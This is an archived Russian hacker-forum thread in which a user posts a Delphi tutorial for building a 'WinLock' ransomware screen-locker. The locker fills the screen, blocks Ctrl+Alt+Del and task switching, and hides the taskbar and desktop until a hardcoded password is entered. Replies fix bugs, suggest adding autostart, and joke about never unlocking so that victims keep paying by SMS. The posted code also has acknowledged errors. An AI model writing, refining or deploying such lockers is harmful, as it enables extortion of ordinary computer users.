Добро пожаловать! Это — архивная версия форумов на «Хакер.Ru». Она работает в режиме read-only.
 

[Delphi] Winlock

Пользователи, просматривающие топик: none

Зашли как: Guest
Все форумы >> [Компилируемые языки] >> [Delphi] Winlock
Имя
Сообщение << Старые топики   Новые топики >>
[Delphi] Winlock - 2011-06-20 11:26:48.530000   
Maxim_Fast

Сообщений: 58
Оценки: 0
Присоединился: 2011-05-31 06:39:05.460000
Для того чтобы учить этот урок, нужны драйвера: Mozg.dll, Ruki.Dll
Установили? Начинаем!

Здравствуйте, представляю вашему вниманию очередную статью о программирование в Delphi.
Сегодня я научу вас писать простейшие баннеры (WinLock).
Для того чтобы начать творить, откройте Delphi 7 и создайте новое приложение.

На форму кидаем картинку (Фон Винлока), один TEdit и TButton.
Чтобы компоненты приобрели стиль Windows XP, нужно в implementation дописать {$R WinXp.Res}.
Ссылку на скачивание и краткое использование в конце статьи.

Итак начнем кодинг!
Прежде всего нужно настроить форму. Переходим в Object Inspector, выбираем Form1.
Изменяем BorderStylebsSizable на bsNone).
Впринцепи этого достаточно.

Переходим в события (Events) формы (Form1), создаем событие OnActivate.
Добавляем var:
hTaskBar:THandle.

Пишем действие:
Чтобы форма приобрела размеры экрана, пишем:
Form1.Height:=screen.Height; Form1.Width:=screen.Width;
Чтобы отключить ALT+CTRL+DELETE, ALT+TAB, CTRL+ESC нужно:
SystemParametersInfo(SPI_SCREENSAVERRUNNING,1,0,0) ; Убираем панель задач (Пуск):
hTaskbar := FindWindow(‘Shell_TrayWnd’, Nil); ShowWindow(hTaskBar, SW_HIDE);
Убираем значки с рабочего стола:
ShowWindow(FindWindow(nil,’Program Manager’),SW_HIDE);
Должно получится так:

procedure TForm1.FormActivate(Sender: TObject); var hTaskBar:THandle; begin Form1.Height:=screen.Height; Form1.Width:=screen.Width; SystemParametersInfo(SPI_SCREENSAVERRUNNING,1,0,0) ; hTaskbar := FindWindow(‘Shell_TrayWnd’, Nil); ShowWindow(hTaskBar, SW_HIDE); ShowWindow(FindWindow(nil,’Program Manager’),SW_HIDE); end; Идем дальше, чтобы скрыть вводимый пароль в TEdit'e под звездочкой нужно создать событие оnchange.
Edit1.PasswordChar:='*';
Должно получится так:

procedure TForm1.Edit1Change(Sender: TObject); begin Edit1.PasswordChar:=’*'; end;
Далее делаем проверку пароля:
Создаем событие оnclick у TButton.
Добавляем var:
hTaskBar : THandle; Password:string[10]; - Количество вводимых символов.
Действие:
Password:=Edit1.Text; If (Password='xakep.ru') then Т.е пароль на разблокировку xakep.ru.

Действие (Возращаем все на свои места):
SystemParametersInfo(SPI_SCREENSAVERRUNNING,0,0,0) ; ShowWindow(FindWindow(nil,’Program Manager’),SW_SHOW); hTaskbar := FindWindow(‘Shell_TrayWnd’, Nil); ShowWindow(hTaskBar, SW_SHOWNORMAL); Тут мы включили все что отключали.
Закрываем программу
Close;
Должно быть так:

procedure TForm1.Button1Click(Sender: TObject); var hTaskBar : THandle; Password:string[10]; begin Password:=Edit1.text; If (Password=’xakep.ru') then begin SystemParametersInfo(SPI_SCREENSAVERRUNNING,0,0,0) ; ShowWindow(FindWindow(nil,’Program Manager’),SW_SHOW); hTaskbar := FindWindow(‘Shell_TrayWnd’, Nil); ShowWindow(hTaskBar, SW_SHOWNORMAL); Close; end
Если пароль верен то окно закроется, если нет то:

else begin ShowMessage('Пароль неправильный, попробуйте еще!'); Edit1.Clear; end; end.
Автор: Максим Фаст (с) 2011

WinXp.Res (Кидаем в папку Lib)
Post #: 1
RE: [Delphi] Winlock - 2011-06-20 11:55:39.720000   
Alianna

Сообщений: 1922
Оценки: 356
Присоединился: 2010-03-02 11:27:12.343333
Во-первых, строки в делфи ограничиваются не ` а '.
Во-вторых, Password:=Edit1.text; If (Login=’xakep.ru') then Что за Login? Да и вообще имхо при данном раскладе проще сравнить сразу Edit1.Text.
В-третьих, зачем onChange? Достаточно просто сразу в свойствах поставить выставить PasswordChar.
Дальше… что за винлокер, который не прописывается в автозагрузку?
И напоследок - заданный таким образом пароль из экзешника будет вытащить очень просто. Достаточно в отладчике посмотреть строки.
Post #: 2
RE: [Delphi] Winlock - 2011-06-20 12:02:23.960000   
Maxim_Fast

Сообщений: 58
Оценки: 0
Присоединился: 2011-05-31 06:39:05.460000
Об этом я знаю. Но у меня работает так, как я написал.
Post #: 3
RE: [Delphi] Winlock - 2011-06-20 12:04:13.843333   
Alianna

Сообщений: 1922
Оценки: 356
Присоединился: 2010-03-02 11:27:12.343333
Что вы говорите, и на нигде не объявленную переменную Login не ругается? Тогда у вас чудо-компилятор.
Post #: 4
RE: [Delphi] Winlock - 2011-06-20 12:10:39.693333   
Maxim_Fast

Сообщений: 58
Оценки: 0
Присоединился: 2011-05-31 06:39:05.460000
Я сам делаю таким способом, какой написал, все хорошо компилируется, без ошибок и варнов.
Все работает.
Post #: 5
RE: [Delphi] Winlock - 2011-06-20 12:14:04.440000   
Maxim_Fast

Сообщений: 58
Оценки: 0
Присоединился: 2011-05-31 06:39:05.460000
Ах да, заметил ошибку с Login. Скорей как привычка уже. Извиняй.
Машинально писал, потому-что торопился.

Да про пароль который можно вытащить легко:
Любой пользователь (Простой) не будет искать строки, он не сможет запустить отладчик.
Автозагрузка: Я написал простейшие, а значит в нем будут самые нужные функции.
Автозагрузка конечно нужная функция, но…
Еще претензии к моей статье?
Post #: 6
RE: [Delphi] Winlock - 2011-06-20 15:03:32.870000   
_SaZ_

Сообщений: 4329
Оценки: 398
Присоединился: 2008-01-30 02:18:05.553333
Edit1.PasswordChar:='*';
Достаточно вызвать один раз.
Post #: 7
RE: [Delphi] Winlock - 2011-06-20 20:11:32.273333   
KwanzaBot

Сообщений: 129
Оценки: 0
Присоединился: 2011-04-18 19:45:33.773333
quote:

Если пароль верен то окно закроется, если нет то:

Такого не бывает :@
Если пароль верен, то должно вылазить сообщение, что произошла ошибка и надо послать смс еще раз.
Это же основы всемирной теории винлокеров! ;)
Post #: 8
RE: [Delphi] Winlock - 2011-06-21 09:35:33.250000   
Maxim_Fast

Сообщений: 58
Оценки: 0
Присоединился: 2011-05-31 06:39:05.460000
Нууу)
Post #: 9
RE: [Delphi] Winlock - 2011-06-21 10:57:47.683333   
codeismy.name

Сообщений: 618
Оценки: 0
Присоединился: 2009-07-19 00:30:13.200000
можно вообще пароль нигде не сравнивать а писать всегда что пароль не верен.
не понимаю зачем бросать на произвол судьбы дойную корову.

а вообще после топика про лейбл статья автора както ну совсем смотрится по нубски.
Post #: 10
RE: [Delphi] Winlock - 2011-06-21 13:55:29.010000   
Genco

Сообщений: 1662
Оценки: 90
Присоединился: 2007-12-16 23:11:22.003333
Винлоки часто реально открываются кодами. Это чтобы юзвери слали смс, не сомневаясь, зная, что может помочь.
И да, содрал он.
Post #: 11
RE: [Delphi] Winlock - 2011-07-02 00:09:34.103333   
goodbill

Сообщений: 55
Оценки: 0
Присоединился: 2011-03-09 20:50:53.326666
забавно, ТС сначала так уверенно пишет что ошибок нет а потом "случайно" видит свою ошибку.
Ты такой молодец… Alt+F4 вырубил? Все очень сыро….
Post #: 12
Страниц:  [1]
Все форумы >> [Компилируемые языки] >> [Delphi] Winlock







Связаться:
Вопросы по сайту / xakep@glc.ru

Предупреждение: использование полученных знаний в противозаконных целях преследуется по закону.